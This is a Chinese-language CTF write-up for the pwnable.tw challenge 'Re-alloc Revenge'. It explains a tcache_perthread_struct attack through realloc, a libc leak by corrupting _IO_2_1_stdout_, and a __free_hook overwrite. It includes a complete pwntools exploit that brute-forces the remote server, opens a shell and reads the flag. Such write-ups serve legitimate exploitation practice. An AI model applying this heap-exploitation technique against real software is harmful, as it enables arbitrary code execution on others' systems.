PWNABLE.TW-Re-alloc Revenge-WP
前段时间做了一道利用 realloc
的题,感觉很有意思。看到此题的名字就有了兴趣,于是花了一天解了一下。
关于 realloc
的特性和攻击 _IO_FILE
,本文不再赘述,可见此 WP TWCTF_online_2019_asterisk_alloc
本题的一个特点就是有 tcache
然后再限制一手申请的空间大小,导致传统的填满 tcache
再 free
出一个 unsorted bin
再实现 leak 变得不再可行。
这样的题目碰到过几次,每次都隐约感觉在某处看到过,由于一些 tcache chunk
的 next
会指向下一个 chunk,而用于管理 tcache
的结构体 tcache_perthread_struct
也是在堆段上的,所以通过部分覆写 next
可以使 next
指向 tcache_perthread_struct
,这样就可以通过 tcache poisoning
分配到 tcache_perthread_struct
上实现攻击了。但是不知道这个结构体到底在什么位置,就都不知道该怎么部分覆写。以前碰到的要么没有做下去,要么就是有更好的利用方法,所以一直没有深究。
想想也挺蠢的,动调的时候查看堆,有时候会有一个大小为 0x251 的堆块,没有去深究过那到底是什么东西,其实那个就是 tcache_perthread_struct
。

就是这个 250 了。也就是说,tcache_perthread_struct
就是处在堆段头部的。
这样的话我们只要写 next
的低二字节,满足低十二位为 0x010(不是 0x100 的原因是 tcache
的 next
指向数据区),爆破高四位就可以将 next
指到tcache_perthread_struct
。
通过简单的 tcache poisoning
就可以分配堆块到 tcache_perthread_struct
了,这也就是 tache struct attack
了
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];//0x40
tcache_entry *entries[TCACHE_MAX_BINS];//0x40
} tcache_perthread_struct;
结构如上。有了上面的思路就可以很容易地写出利用脚本
malloc(0,0x70,'\n')
realloc(0,0x50,'\n')
realloc(0,0x10,'\n')
free_r(0)
malloc(0,0x30,'\n')
realloc(0,0,'')
for i in range(6):
realloc(0,0x30,p64(0) + p64(0))
realloc(0,0,'')
realloc(0,0x30,'\x10\x60')
malloc(1,0x30,p64(0) + p64(0))
realloc(0,0x10,p64(0) + p64(0))
free_r(0)
malloc(0,0x30,'\x00' * 0x23 + '\xFF\x00'
这里为了在 free_r(0)
时避免 chunk 重新返回 tcache
,用到了 realloc(0,0x10,p64(0) + p64(0))
,使 free_r(0)
时被 free
的 size
为 0x21,再一次分配时就可以分配到 tcache_perthread_struct
了。
此时我们拥有了对 tcache_perthread_struct
的部分任意写的能力。要注意到此时 chunk 大小仍为为 0x250,足够进入 unsorted bin
,只要我们覆写 counts
数组中对应 0x250 的计数器的大小为一个较大的值,然后通过 realloc(0)
就可以使这个 chunk 顺利地进入 unsorted bin
了。这样就可以通过攻击 _IO_2_1_stdout_
来 leak 了。
之后就是普通的 tcache poisoning
了。
exp
#!/usr/bin/env python
# coding=utf-8
from pwn import *
import struct
context.terminal = ["tmux","splitw","-h"]
context.log_level = 'debug'
#libc = ELF("/glibc/2.29/amd64/lib/libc.so.6")
libc = ELF("./libc.so")
def malloc(index,size,payload):
sh.sendlineafter("choice: ",'1')
sh.sendlineafter("Index:",str(index))
sh.sendlineafter("Size:",str(size))
if(size != 0):
sh.sendafter("Data:",payload)
def realloc(index,size,payload):
sh.sendlineafter("choice: ",'2')
sh.sendlineafter("Index:",str(index))
sh.sendlineafter("Size:",str(size))
if(size != 0):
sh.sendafter("Data:",payload)
def free_r(index):
sh.sendlineafter("choice: ",'3')
sh.sendlineafter("Index:",str(index))
for i in range(16 * 16):
try:
log.success("#" + str(i))
sh = remote("chall.pwnable.tw",10310)
#sh = process("./re-alloc_revenge")#,env={"LD_PRELOAD":"home/chuj/pwnable/libc.so"})
malloc(0,0x70,'\n')
realloc(0,0x50,'\n')
realloc(0,0x10,'\n')
free_r(0)
malloc(0,0x30,'\n')
realloc(0,0,'')
for i in range(6):
realloc(0,0x30,p64(0) + p64(0))
realloc(0,0,'')
realloc(0,0x30,'\x10\x60')
malloc(1,0x30,p64(0) + p64(0))
realloc(0,0x10,p64(0) + p64(0))
free_r(0)
malloc(0,0x30,'\x00' * 0x23 + '\xFF\x00')
free_r(0)
malloc(0,0x40,'\xFF\x01\xFF'.ljust(0x40,'\xFF'))
free_r(1)
realloc(0,0x58,'\xFF\xFF\x06\xFF'.ljust(0x40,'\xFF') + p64(0) + p64(0) + '\x60\x57')
malloc(1,0x30,p64(0xfbad1887) + p64(0) * 3)
sh.recv(0x58)
libc_base = u64(sh.recv(8)) - libc.symbols["_IO_file_jumps"]
log.success("libc_base:" + hex(libc_base))
system_addr = libc_base + libc.symbols["system"]
free_hook_addr = libc_base + libc.symbols["__free_hook"]
realloc(0,0x78,'\x07\x07'.ljust(0x40,'\x07') + p64(0) + p64(0) + p64(free_hook_addr - 8) * 5)
free_r(0)
malloc(0,0x60,'/bin/sh\x00' + p64(system_addr))
free_r(0)
#gdb.attach(proc.pidof(sh)[0])
sh.sendline('echo pwned!')
sh.recvuntil("pwned!")
sh.sendline("cat home/re-alloc_revenge/flag")
sh.interactive()
break
except:
sh.close()
服务器不是很好,执行的很慢,这个爆破的概率是 1/(16 * 16),所以还是需要等一段时间的。
参考:
初探tcache struct攻击(写的很棒!)